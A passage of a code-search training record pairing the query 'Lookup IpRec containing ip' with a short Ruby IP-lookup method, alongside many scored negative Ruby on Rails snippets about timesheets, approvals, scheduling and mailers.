}\n format.json { render :show, status: :created, location: @time_management_sheet }\n else\n format.html { render :new }\n format.json { render json: @time_management_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @timesheet = Timesheet.new(params[:timesheet])\n\n #Assign employee id of the user logged in\n @timesheet.employee_id = current_user.employee.id\n \n respond_to do |format|\n if @timesheet.save\n format.html { redirect_to @timesheet, notice: 'Timesheet was successfully created.' }\n format.json { render json: @timesheet, status: :created, location: @timesheet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @timesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_timesheet\n @timesheet = Timesheet.find(params[:id])\n skip_authorization\n # authorize @timesheet\n end", "def create\n @timesheet_entry = TimesheetEntry.new(params[:timesheet_entry])\n @timesheet_entry.user_id=current_user.id\n\n respond_to do |format|\n if @timesheet_entry.save\n format.html { redirect_to @timesheet_entry, notice: 'Timesheet entry was successfully created.' }\n format.json { render json: @timesheet_entry, status: :created, location: @timesheet_entry }\n else\n format.html { render action: \"new\" }\n format.json { render json: @timesheet_entry.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_time_sheet\n @time_sheet = ProjectTimeSheet.find_by_id(params[:id])\n if @time_sheet\n else\n \trender json: { valid: false}, status: 404\n end\n end", "def update\n @timesheet = Timesheet.find(params[:id])\n @tasks = @company.tasks\n @week = @timesheet.start_date.beginning_of_week\n respond_to do |format|\n if @timesheet.update_attributes(params[:timesheet])\n format.html { redirect_to(timesheets_path, :notice => 'Timesheet was successfully updated.') }\n format.xml { head :ok }\n else\n @week = params[:timesheet][:start_date].to_date.beginning_of_week\n @tasks = @company.tasks\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @timesheet.errors, :status => :unprocessable_entity }\n end\n end\n end", "def timesheet_task_params\n params.require(:timesheet_task).permit(:employee_id, :project_id, :activity, :date, :working_hours, :site_name, :project_region_id, :vehicle_number, :vehicle_owner_id, :holiday, :attachment_link)\n end", "def add_timesheet_entry(login_id, project_id, task_id, entry_date, time_in, time_out, comment)\n [{ \"Action\" => \"Edit\",\n \"Type\" => \"Replicon.Suite.Domain.EntryTimesheet\",\n \"Identity\" => login_id,\n \"Operations\" => [\n { \"__operation\" => \"CollectionAdd\",\n \"Collection\" => \"TimeEntries\",\n \"Operations\" => [\n { \"__operation\" => \"SetProperties\",\n \"CalculationModeObject\" => { \"__type\" => \"Replicon.TimeSheet.Domain.CalculationModeObject\", \"Identity\" => \"CalculateDuration\" },\n \"EntryDate\" => { \"__type\" => \"Date\", \"Year\" => entry_date.year, \"Month\" => entry_date.month, \"Day\" => entry_date.day },\n \"TimeIn\" => { \"__type\" => \"Time\", \"Hour\" => time_in.hour, \"Minute\" => time_in.min },\n \"TimeOut\" => {\"__type\" => \"Time\", \"Hour\" => time_out.hour, \"Minute\" => time_out.min },\n \"Comments\" => comment,\n \"Task\" => { \"Identity\" => task_id },\n \"Activity\" => { \"Identity\" => \"1\" }\n },\n { \"__operation\" => \"SetTimeEntryBilling\",\n \"BillingType\" => { \"__type\" => \"Replicon.Project.Domain.Timesheets.TimesheetBillingType\", \"Identity\" => \"NonBillable\" },\n \"Project\" => { \"__type\" => \"Replicon.Project.Domain.Project\", \"Identity\" => project_id }\n }\n ]\n }\n ]\n }\n ]\nend", "def submit_for_approval\n @report = Report.find_by_id(params[:report_id].to_i)\n if @report != nil\n if @report.submitter_id == current_user.id\n if @report.submitted == false || @report.submitted == nil\n #Create the new approval request\n approvalRequest = ReportApprovalRequest.new\n # put the approval instance in the request\n approvalRequest.approval_id = new_approval(21, 0, @report.specified_submit_to_role_id) # report approval\n\n # lastly add the request to the current_user\n approvalRequest.user = current_user\n approvalRequest.report = @report\n @report.report_approval_request = approvalRequest\n\n @report.report_status_type_id = 2\n @report.submitted = true\n\n if @report.save\n render status: 200, json: { message: \"Report submitted for approval.\" }\n else\n render status: 500, json: { message: \"Something went wrong and the report could not be submitted for approval.\" }\n end\n else\n render status: 403, json: { message: \"This report has already been submitted and cannot be submitted again\" }\n end\n else\n render status: 403, json: { message: \"This is not your report so you cannot submit it.\" }\n end\n else\n render status: 404, json: { message: \"Report not found.\"}\n end\n end", "def timesheet_params\n params.require(:timesheet).permit(:log_date, :hours_spent, :employee_id)\n end", "def create\n appointment_request = current_user.pending_requests.new(\n appointment_request_params\n )\n\n if appointment_request.save\n if appointment_request.initialize_appointment!(appointment_params)\n redirect_to root_path\n else\n render json: {\n status: 500,\n error: 'This expert is not available on the scheduled date'\n }, status: 500\n end\n else\n render json: {\n status: 500, error: appointment_request.errors\n }, status: 500\n end\n end", "def schedule_appointment(appointment, which)\n # sendgrid_category \"Sell Request\"\n @appointment = appointment\n if which == 1\n mail to: @appointment.user.email, subject: \"Appointment schedule confirmation\"\n else\n email = \"tripalink.dev@gmail.com\" if !@appointment.expert\n mail to: email, subject: \"Appointment schedule confirmation\"\n end\n end", "def set_time_sheet\n @time_sheet = current_user.time_sheets.find(params[:id])\n end", "def schedule(subperiod,year,gs,expiry_date)\n #URL della servlet\n url = URI.parse(CONFIG['servlet']['address'])\n #impostazione del metodo POST\n req = Net::HTTP::Post.new(url.path)\n #parametri di autenticazione\n #req.basic_auth 'jack', 'pass'\n #dati da inviare op = ScheduleJob\n if expiry_date\n data = expiry_date.date\n day = data.day.to_i\n if day < 10\n day = \"0\" + day.to_s\n else\n day = day.to_s\n end\n month = data.mon.to_i\n if month < 10\n month = \"0\" + month.to_s\n else\n month = month.to_s\n end\n date = day + \"-\" + month + \"-\" + data.year.to_s\n req.set_form_data({'op'=>'sj', 'graduate_course' => gs.id.to_s,\n 'year' => year,\n 'subperiod' => subperiod.to_s,\n 'date'=> date\n }, '&')\n else\n req.set_form_data({'op'=>'sj', 'graduate_course' => gs.id.to_s,\n 'year' => year,\n 'subperiod' => subperiod.to_s\n }, '&')\n #connessione alla servlet\n end\n res = Net::HTTP.new(url.host, url.port).start {\n |http| http.request(req)\n }\n #controllo del codice di errore\n case res\n when Net::HTTPSuccess, Net::HTTPRedirection\n # OK\n return true\n when Net::HTTPNotAcceptable\n #parametri non corretti.. riportare alla form\n return false\n else\n #errore connessione.. riprovare\n return false\n end\n end", "def send_schedule\n team = Team.find(params[:id])\n authorize! :manage, team\n\n # used to send out the schedule.\n # now removed, as we send out weekly schedules instead/updates within 7 days\n\n render json: { schedule_sent: true }\n end", "def create\n @sheet = @project.sheets.where(design_id: @design.id).new(sheet_params)\n if SheetTransaction.save_sheet!(@sheet, {}, variables_params, nil, request.remote_ip, \"public_sheet_create\")\n @sheet.update_coverage!\n send_survey_completion_emails\n redirect_to survey_redirect_page\n else\n render :new\n end\n end", "def agree\n \n worker = current_worker.id\n req = params[:request]\n if not (Proposal.exists?(worker_id: worker, request_id: req))\n #@shd = Schedule.create(:worker_id => worker, :customer_id => client_id, :request_id => req, :date => fecha)\n @shd = Proposal.create(worker_id: worker, request_id: req)\n end\n\n redirect_to tecnico_agenda_trabajos_path\n\n end", "def set_timesheet\n @timesheet = Timesheet.find(params[:id])\n end", "def set_timesheet\n @timesheet = Timesheet.find(params[:id])\n end", "def set_timesheet\n @timesheet = Timesheet.find(params[:id])\n end", "def set_timesheet\n @timesheet = Timesheet.find(params[:id])\n end", "def set_timesheet\n @timesheet = Timesheet.find(params[:id])\n end", "def set_timesheet\n @timesheet = Timesheet.find(params[:id])\n end", "def set_time_sheet\n @time_sheet = TimeSheet.find(params[:id])\n end", "def timesheet_params\n raw_parameters = { :project_master_id => \"#{params[:project_master_id]}\", :task_master_id => \"#{params[:project_task_id]}\", :sprint_planning_id => \"#{params[:sprint_planning_id]}\", :user_id => \"#{params[:user_id]}\", :task_date => \"#{params[:task_date]}\", :task_time => \"#{params[:task_time]}\", :start_time => \"#{params[:start_time]}\", :end_time => \"#{params[:end_time]}\" }\n parameters = ActionController::Parameters.new(raw_parameters)\n parameters.permit( :sprint_planning_id, :project_master_id, :task_master_id, :user_id, :task_date, :task_time, :start_time, :end_time) \n end", "def confirm_reschedule\n reschedule = ApptRescheduler.new(@appt.id, params).format_new_time\n if reschedule[:success] == true\n @new_start_time = reschedule[:new_start_time]\n @new_slot_id = reschedule[:new_slot_id]\n end\n render layout: '../dashboard/student/home/confirm_reschedule'\n end", "def record_submission\n transaction do\n task.update_attributes(completed_at: DateTime.now)\n project.signal_or_raise!(:accept_proposal, nil, self)\n end\n end", "def request_approval\n reservation = Reservation.first\n ReservationMailer.request_approval(reservation)\n end", "def timetable_save(timetable_num, project)\n\n timetable_name = \"timetable#{timetable_num}\"\n\n timetable = Timetable.new(:hours_amount => params[timetable_name][:hours_amount], :type_id => params[timetable_name][:type_id], :project_id => project.id, :hours_completed => 0, :month => Date.today.month, :year => Date.today.year )\n #timetable.hours_completed = 0\n\n if timetable.save\n\n else\n flash[:error] = \"Timetable failed\"\n end\n\n if params[\"timetable#{timetable_num+1}\"] != nil\n timetable_save(timetable_num+1, project)\n end\n\n end", "def timesheet_params\n params.require(:timesheet).permit(:week, :job_id, :reg_hours, :ot_hours, :gross_pay, \n :shifts_attributes => [:id, :state, :job_id, :needs_adj, :employee_id, :note, \n :time_in, :time_out, :break_out, :break_in, :break_duration, :in_ip, :out_ip, :_destroy])\n end", "def submits; end", "def approve\n @reservation.update_attribute(:status, 1)\n ReservationMailer.approve_request(@reservation).deliver\n redirect_to received_reservations_path + \"#\" + params[:current_tab]\n end", "def assign \n\n # Start by getting all uncommitted timesheets.\n\n @timesheets = Timesheet.where( :committed => false ).order( 'start_day_cache ASC' )\n\n # Further restrict this to timesheets ending before the start of\n # the current month. If the current week falls into the previous\n # month - i.e. the current week starts sooner than the month -\n # then go back one month from there. The idea is to be able to\n # \"close off\" a historical month, without accidentally commiting\n # timesheets in \"this\" month (or close to it) that a user may be\n # legitimately editing.\n #\n # Under Rails, subtracting \"1.month\" from a Date does do the right\n # thing - it doesn't just subtract a fixed number of days. Whatever\n # month it is now, we end up with the start of the previous month.\n\n earliest = Date.today.beginning_of_month\n compare = Date.today.beginning_of_week\n\n @earliest = ( compare < earliest ) ? earliest - 1.month : earliest\n\n # Remember, we want the timesheet's *last day* to fall *before*\n # the start-of-month date now stored in \"earliest\". Or to put it\n # another way, any timesheet that starts at or earlier than 7\n # days prior to \"earliest\" must finish just before \"earliest\".\n\n @timesheets = @timesheets.where( 'start_day_cache <= ?', @earliest - 7.days )\n\n unless ( @timesheets.count.zero? )\n @object = TimesheetForceCommit.new()\n @object.earliest_limit = @timesheets.first.start_day_cache\n @object.latest_limit = @timesheets.last.start_day_cache + 6.days\n end\n end", "def create\n @penalty = Penalty.new\n @daily_timesheet = DailyTimesheet.new(daily_timesheet_params)\n authorize @daily_timesheet\n @work_types = WorkType.all\n @penalties = Penalty.all\n respond_to do |format|\n if @daily_timesheet.save\n format.html { redirect_back_or_default daily_timesheets_url, t('Record has been saved') }\n format.json { render :show, status: :created, location: @daily_timesheet }\n else\n format.html {\n @daily_timesheet.daily_timesheet_work_types.build if @daily_timesheet.daily_timesheet_work_types.blank?\n @daily_timesheet.daily_timesheet_penalties.build if @daily_timesheet.daily_timesheet_penalties.blank?\n render :new\n }\n format.json { render json: @daily_timesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def overdue_timesheet(user, dates)\n @site_name = APP_CONFIG['env_config']['site_name']\n @site_host = APP_CONFIG['env_config']['site_host']\n @user = user\n @dates = dates\n @account = user.account\n mail(to: MailerTasks.recipients(user.email),\n subject: MailerTasks.rendered_subject('Your timesheet is overdue!'))\n end", "def update\n # authorize @timesheet\n respond_to do |format|\n if @timesheet.update(timesheet_params)\n format.html { redirect_to company_timesheet_path(@timesheet), notice: 'Timesheet was successfully updated.' }\n format.json { render :show, status: :ok, location: @timesheet }\n else\n format.html { render :edit }\n format.json { render json: @timesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # authorize @timesheet\n respond_to do |format|\n if @timesheet.update(timesheet_params)\n format.html { redirect_to @timesheet, notice: 'Timesheet was successfully updated.' }\n format.json { render :show, status: :ok, location: @timesheet }\n else\n format.html { render :edit }\n format.json { render json: @timesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # authorize @timesheet\n respond_to do |format|\n if @timesheet.update(timesheet_params)\n format.html { redirect_to @timesheet, notice: 'Timesheet was successfully updated.' }\n format.json { render :show, status: :ok, location: @timesheet }\n else\n format.html { render :edit }\n format.json { render json: @timesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def time_management_sheet_params\n params.require(:time_management_sheet).permit(:year, :month, :employee_num, :company_name, :department_code, :instruction_id, :team_code, :work_task_id, :work_process_id, :man_hour)\n end", "def preplanned_submit\n @publication = Publication.find(params[:id])\n @publication.lock!\n @publication.preplanned_submit!\n flash[:notice] = \"Preplanned submitted for acceptance.\"\n # flash[:notice] = \"Preplanned submitted for acceptance. Email sent to the author.\"\n # @email = Email.find_by_trigger('preplanned_submit')\n # Notifier.workflow_notification(@publication.user,@email,@publication).deliver\n redirect_to publication_url\n end", "def time_sheet_params\n params.require(:time_sheet).permit(:clock_in, :clock_out)\n end", "def time_sheet_params\n params.fetch(:time_sheet, {})\n end", "def create\n @entry = @time_sheet.entries.new(params[:entry])\n\n respond_to do |format|\n if @entry.save\n # [@user, @time_sheet, @entry]\n # user_time_sheet_entries_path(@user, @time_sheet)\n format.html { redirect_to user_time_sheet_entries_path(@user, @time_sheet), notice: 'Hours were successfully added.' }\n format.json { render json: [@user, @time_sheet, @entry], status: :created, location: [@user, @time_sheet, @entry] }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @timesheet.update(timesheet_params) && ( current_user.id == @timesheet.user_id || current_user.admin == true)\n format.html { redirect_to timesheets_url, notice: 'Timesheet was successfully updated.' }\n format.json { render :show, status: :ok, location: @timesheet }\n else\n format.html { redirect_to timesheets_url, notice: 'Timesheet not updated.' }\n format.json { render json: @timesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def save\n update_type = (@sheet.new_record? ? \"public_sheet_create\" : \"public_sheet_update\")\n if SheetTransaction.save_sheet!(@sheet, {}, variables_params, nil, request.remote_ip, update_type)\n proceed_to_next_design\n else\n render :design\n end\n end", "def validate(entry)\n return \"Oops. Please try resubmitting your time or checking accout details!\" unless entry.any?\n if entry[\"time_entry_id\"]\n return \"Timesheet Successfully Submitted\"\n else\n return \"Oops. An error was encountered: #{entry}\"\n end\n end", "def set_timesheet\n @timesheet = Logtime.find_by_id(params[:id])\n if @timesheet\n else\n \trender json: { valid: false}, status: 404\n end\n end", "def update\n respond_to do |format|\n if @time_sheet.update(time_sheet_params)\n format.html { redirect_to @time_sheet, notice: \"Time sheet was successfully updated.\" }\n format.json { render :show, status: :ok, location: @time_sheet }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @time_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @timesheet.update(timesheet_params)\n format.html { redirect_to @timesheet, notice: 'Timesheet was successfully updated.' }\n format.json { render :show, status: :ok, location: api_v1_timesheet_url(@timesheet) }\n else\n format.html { render :edit }\n format.json { render json: @timesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def print\n current_ts = Timesheet.find(params[:current_ts_id])\n if params[:weekof].present?\n weekof = Date.parse(params[:weekof]) \n else\n weekof = Date.today\n end\n name = User.current.firstname\n wage = User.current.wage.amount.to_s\n current = Date.today\n\n #TODO change the name of the default scopes on TimeEntry for dates, they need to express that the collection includes the dates indicated.\n usrtiments = TimeEntry.foruser(User.current).after(weekof).before(weekof + 6.days) #this use of before and after is cool\n\n mon = (usrtiments.select {|t| t.spent_on == weekof}).inject(0) {|sum, x| sum + x.hours}\n tue = (usrtiments.select {|t| t.spent_on == (weekof + 1)}).inject(0) {|sum, x| sum + x.hours} \n wed = (usrtiments.select {|t| t.spent_on == (weekof + 2)}).inject(0) {|sum, x| sum + x.hours}\n thu = (usrtiments.select {|t| t.spent_on == (weekof + 3)}).inject(0) {|sum, x| sum + x.hours}\n fri = (usrtiments.select {|t| t.spent_on == (weekof + 4)}).inject(0) {|sum, x| sum + x.hours}\n sat = (usrtiments.select {|t| t.spent_on == (weekof + 5)}).inject(0) {|sum, x| sum + x.hours}\n sun = (usrtiments.select {|t| t.spent_on == (weekof + 6)}).inject(0) {|sum, x| sum + x.hours}\n\n hours = mon + tue + wed + thu + fri + sat + sun\n status =\"\"\n\n #need to check for valid datetime instead of nil\n if current_ts.paid != nil\n status = \"Paid\"\n elsif current_ts.paid == nil && current_ts.submitted != nil\n status = \"Submitted, but not paid\"\n else\n status = \"Not submitted and not paid\"\n end\n\n if hours == 0 || hours > 100\n #flash[:warning] = 'You do not have any hours for the specified week! Add hours to print a timecard.'\n flash[:warning] = 'Error, error! Either you are printing a timesheet with no need for payment or you got some wiring loose and logged too many hours.'\n redirect_to :action => 'employee_index' #potential problem with this when admin uses it\n else #method in timesheethelper\n send_data (generate_timesheet_pdf(name, wage, current, weekof, mon, tue, wed, thu, fri, sat, sun,status),\n :filename => name + \"_timecard_from_\" + weekof.to_s + \"_to_\" + (weekof + 6.days).to_s + \".pdf\",\n :type => \"application/pdf\")\n end\n end", "def create\n @interviewscheduler = Interviewscheduler.new(interviewscheduler_params)\n\n respond_to do |format|\n @interviewscheduler.update(:status => \"Assessment Scheduled\")\n if @interviewscheduler.save\n format.html { redirect_to @interviewscheduler, notice: 'Interviewscheduler was successfully created.' }\n format.json { render action: 'show', status: :created, location: @interviewscheduler }\n else\n format.html { render action: 'new' }\n format.json { render json: @interviewscheduler.errors, status: :unprocessable_entity }\n end\n end\n end", "def save_draft\n frm.button(:value=>\"Save Draft\").click\n SubmissionConfirmation.new(@browser)\n end", "def save_draft\n frm.button(:value=>\"Save Draft\").click\n SubmissionConfirmation.new(@browser)\n end", "def save_draft\n frm.button(:value=>\"Save Draft\").click\n SubmissionConfirmation.new(@browser)\n end", "def save_draft\n frm.button(:value=>\"Save Draft\").click\n SubmissionConfirmation.new(@browser)\n end", "def create\n unless current_user.instructor?(@course)\n return\n end\n if params[:assignment][:submission_due_date].blank? or params[:assignment][:review_due_date].blank?\n flash[:error] = 'Please fill in dates.'\n redirect_to :back\n return\n end\n\n\n if params['assignment']['submission_due_time(4i)']\n params['assignment']['submission_due_time'] = params['assignment']['submission_due_time(4i)'] + ':' + params['assignment']['submission_due_time(5i)']\n params['assignment'].delete 'submission_due_time(1i)'\n params['assignment'].delete 'submission_due_time(5i)'\n params['assignment'].delete 'submission_due_time(2i)'\n params['assignment'].delete 'submission_due_time(3i)'\n params['assignment'].delete 'submission_due_time(4i)'\n params['assignment'].delete 'submission_due_time(5i)'\n end\n\n if params['assignment']['review_due_time(4i)']\n params['assignment']['review_due_time'] = params['assignment']['review_due_time(4i)'] + ':' + params['assignment']['review_due_time(5i)']\n params['assignment'].delete 'review_due_time(1i)'\n params['assignment'].delete 'review_due_time(5i)'\n params['assignment'].delete 'review_due_time(2i)'\n params['assignment'].delete 'review_due_time(3i)'\n params['assignment'].delete 'review_due_time(4i)'\n params['assignment'].delete 'review_due_time(5i)'\n end\n\n @assignment = Assignment.new(params[:assignment])\n @assignment.course_id = @course.id\n @assignment.draft = true\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to [@course, @assignment] }\n format.json { render json: @assignment, status: :created, location: @assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "def stamp\n assert_privileges(rbac_feature_id(\"miq_request_approval\"))\n if params[:button] == \"cancel\"\n if (session[:edit] && session[:edit][:stamp_typ]) == \"a\"\n flash_to_session(_(\"Request approval was cancelled by the user\"))\n else\n flash_to_session(_(\"Request denial was cancelled by the user\"))\n end\n @edit = nil\n javascript_redirect(:action => @lastaction, :id => session[:edit][:request].id)\n elsif params[:button] == \"submit\"\n return unless load_edit(\"stamp_edit__#{params[:id]}\", \"show\")\n\n stamp_request = MiqRequest.find(@edit[:request].id) # Get the current request record\n if @edit[:stamp_typ] == \"approve\"\n stamp_request.approve(current_user, @edit[:reason])\n else\n stamp_request.deny(current_user, @edit[:reason])\n end\n flash_to_session(_(\"Request \\\"%{name}\\\" was %{task}\") % {:name => stamp_request.description, :task => (session[:edit] && session[:edit][:stamp_typ]) == \"approve\" ? \"approved\" : \"denied\"})\n @edit = nil\n javascript_redirect(:action => \"show_list\")\n else # First time in, set up @edit hash\n identify_request\n @edit = {}\n @edit[:dialog_mode] = :review\n @edit[:request] = @miq_request\n @edit[:key] = \"stamp_edit__#{@miq_request.id}\"\n # set approve/deny based upon params[:typ] value\n @edit[:stamp_typ] = params[:typ] == 'a' ? 'approve' : 'deny'\n show\n if @edit[:stamp_typ] == \"approve\"\n drop_breadcrumb(:name => _(\"Request Approval\"), :url => \"/miq_request/stamp\")\n else\n drop_breadcrumb(:name => _(\"Request Denial\"), :url => \"/miq_request/stamp\")\n\n end\n render :action => \"show\"\n end\n end", "def awaiting_tutor(schedule)\n personalization = Personalization.new\n personalization.to = Email.new(email: schedule.teacher.email )\n personalization.substitutions = Substitution.new(key: '-name-', value: schedule.teacher.first_name)\n personalization.substitutions = Substitution.new(key: '-modality-', value: schedule.modality)\n personalization.substitutions = Substitution.new(key: '-date-', value: schedule.start_at.to_formatted_s(:short))\n \n mail = setup_mail('Tutoría Agendada', 'c9d81e0b-99cf-4849-af00-3110e2934e88', personalization)\n sg = SendGrid::API.new(api_key: ENV['SENDGRID_API_KEY'])\n begin\n response = sg.client.mail._(\"send\").post(request_body: mail.to_json)\n rescue Exception => e\n puts e.message\n end\n end", "def update\n @timesheet = current_user.timesheets.find(params[:id])\n\n respond_to do |format|\n if @timesheet.update_attributes(params[:timesheet])\n format.html { redirect_to @timesheet, notice: 'Timesheet was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @timesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def submit_form_0966\n ClaimsApi::Logger.log('itf', detail: '0966 - Request Started')\n validate_json_schema\n validate_veteran_identifiers(require_birls: true)\n check_for_invalid_burial_submission! if form_type == 'burial'\n ClaimsApi::Logger.log('itf', detail: '0966 - Controller Actions Completed')\n\n bgs_response = local_bgs_service.insert_intent_to_file(intent_to_file_options)\n if bgs_response.empty?\n ClaimsApi::IntentToFile.create!(status: ClaimsApi::IntentToFile::ERRORED, cid: token.payload['cid'])\n raise ::Common::Exceptions::ResourceNotFound.new(detail: 'Veteran ID not found')\n else\n ClaimsApi::IntentToFile.create!(status: ClaimsApi::IntentToFile::SUBMITTED, cid: token.payload['cid'])\n ClaimsApi::Logger.log('itf', detail: 'Submitted to BGS')\n render json: bgs_response,\n serializer: ClaimsApi::IntentToFileSerializer\n end\n end", "def update\n respond_to do |format|\n if @time_sheet.update(time_sheet_params)\n format.html { redirect_to @time_sheet, notice: 'Time sheet was successfully updated.' }\n format.json { render :show, status: :ok, location: @time_sheet }\n else\n format.html { render :edit }\n format.json { render json: @time_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def send_evaluate_prop\n task = @proposal.evaluate_proposals.create\n task.workbench = Organization.find params[:organization][:organization_id]\n task.save\n redirect_to :action => \"pending\"\n end", "def create\n @organization_timeline_entry = OrganizationTimelineEntry.new(organization_timeline_entry_params)\n @organization_timeline_entry.started_at = DateTime.now\n @organization_timeline_entry.entry_type = case params[:commit]\n when 'Structural' then 'structural'\n when 'Electrical' then 'electrical'\n else 'downtime'\n end\n\n @organization_timeline_entry.save\n respond_with(@organization_timeline_entry, location: params[:url])\n end", "def index\n @submitted_timesheets = SubmittedTimesheet.all\n end", "def create\n @worksheet = Worksheet.new(worksheet_params)\n @worksheet.client.client_last_visit = Time.now\n @worksheet.client.client_rating = (Client.last.client_rating.to_i + 1)\n @worksheet.client.user_id = User.find_by_email(\"#{@current_user.email}\").id\n respond_to do |format|\n if @worksheet.save\n format.html { redirect_to @worksheet, notice: 'Worksheet was successfully created.' }\n format.json { render :show, status: :created, location: @worksheet }\n else\n format.html { render :new }\n format.json { render json: @worksheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_timesheet\n begin\n @timesheet = @current_employee.timesheets.find(params[:id])\n rescue StandardError => ex\n @timesheet = nil\n end\n end", "def submit\r\n assert_exists\r\n submit_form \r\n @o.wait\r\n end", "def update\n authorize @daily_timesheet\n @penalty = Penalty.new\n @work_types = WorkType.all\n @penalties = Penalty.all\n respond_to do |format|\n if @daily_timesheet.update(daily_timesheet_params)\n format.html { redirect_back_or_default daily_timesheets_url, t('Record has been saved') }\n format.json { render :show, status: :ok, location: @daily_timesheet }\n else\n format.html {\n @daily_timesheet.daily_timesheet_work_types.build if @daily_timesheet.daily_timesheet_work_types.blank?\n @daily_timesheet.daily_timesheet_penalties.build if @daily_timesheet.daily_timesheet_penalties.blank?\n render :edit\n }\n format.json { render json: @daily_timesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def ticket_approved\n TaskMailer.with(task: Task.first).ticket_approved\n end", "def update\n \n @timesheet = Timesheet.find(params[:id])\n\n respond_to do |format|\n if @timesheet.update_attributes(params[:timesheet])\n format.html { redirect_to @timesheet, notice: 'Timesheet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @timesheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def mt_tsk_create_request\n task = MtCompanyTask.find( params[:id] );\n req = MaintenanceRequest.new();\n \n req.title = task.title;\n req.remarks = task.description; \n unless ( task.building.nil? )\n req.building = task.building;\n end\n req.reporter = @worker;\n \n req.mt_company_task = task;\n req.mt_company = @mt_company\n task.maintenance_request = req;\n \n begin\n req.save!\n task.save!\n add_confirmation \"MT_REQ CREATED\"\n redirect_to :action=>:mt_req_show, :id=>req.id, :back=>:mt_tsk_list;\n rescue Exception=>e\n add_error e.message\n redirect_to :action=>:mt_tsk_show, :id=>params[:id];\n end\n end", "def create\n @booking = Booking.new(booking_params)\n\n if @booking.job.type == \"Volunteering\" || @booking.job.type == \"Bootcamp\"\n @booking.update(acceptance: true)\n UserMailer.booking1_email(@booking).deliver_now\n end\n\n respond_to do |format|\n if @booking.save\n UserMailer.booking_email(@booking).deliver_now\n format.html { redirect_to jobs_path, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: jobs_path }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @timesheet = Timesheet.find(params[:id])\n\n respond_to do |format|\n if @timesheet.update_attributes(params[:timesheet])\n #flash[:notice] = 'Timesheet was successfully updated.'\n #format.html { redirect_to(@timesheet) }\n #format.xml { head :ok }\n #session['status'] if session[\"status\"] && session[\"status\"].empty?\n #session['timesheet_user_id'] if session[\"timesheet_user_id\"] && session[\"timesheet_user_id\"].empty?\n format.html { redirect_to :controller => \"admin/timesheets\", :action => \"index\" }\n #format.xml { render :xml => @timesheet, :status => :created, :location => @timesheet }\n else\n #format.html { render :action => \"edit\" }\n #format.xml { render :xml => @timesheet.errors, :status => :unprocessable_entity }\n\n format.html { render :action => \"new\" }\n #format.xml { render :xml => @timesheet.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.6931621", "0.6562179", "0.6324103", "0.6298028", "0.6298028", "0.6293576", "0.6185386", "0.6150121", "0.61493105", "0.61357516", "0.613143", "0.6111275", "0.607573", "0.60432506", "0.599906", "0.5998307", "0.5964127", "0.5961958", "0.5952719", "0.59437203", "0.5939539", "0.59139025", "0.59139025", "0.5908076", "0.5903506", "0.588535", "0.5882677", "0.5873181", "0.5845164", "0.5841413", "0.5806535", "0.5783819", "0.5761699", "0.5724577", "0.5720308", "0.5715941", "0.5709437", "0.5677005", "0.5666726", "0.5664595", "0.5660558", "0.56434155", "0.5599105", "0.5591581", "0.5578461", "0.5578461", "0.5578461", "0.5578461", "0.5578461", "0.5574239", "0.5563429", "0.5562809", "0.5557465", "0.5547756", "0.55461305", "0.5545167", "0.5540314", "0.5534546", "0.5519385", "0.5512496", "0.55078423", "0.549572", "0.5464954", "0.5438617", "0.5438617", "0.5427043", "0.5423034", "0.5419357", "0.54053766", "0.53734285", "0.5368932", "0.5362491", "0.5359412", "0.53531146", "0.5350952", "0.53477484", "0.53420687", "0.53369427", "0.5328086", "0.5328086", "0.5328086", "0.5328086", "0.5321343", "0.5318319", "0.5314888", "0.5309467", "0.5304498", "0.53022116", "0.5293227", "0.52762574", "0.5270366", "0.5258869", "0.5254774", "0.52475905", "0.52415955", "0.5229606", "0.52218026", "0.5219815", "0.5214715", "0.5210532" ]
0.7654596
0
Lookup IpRec containing ip. Exception is raised if not found.
def search(ip) ip_value = self.class.ip_to_int(ip) find_rec(ip_value) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
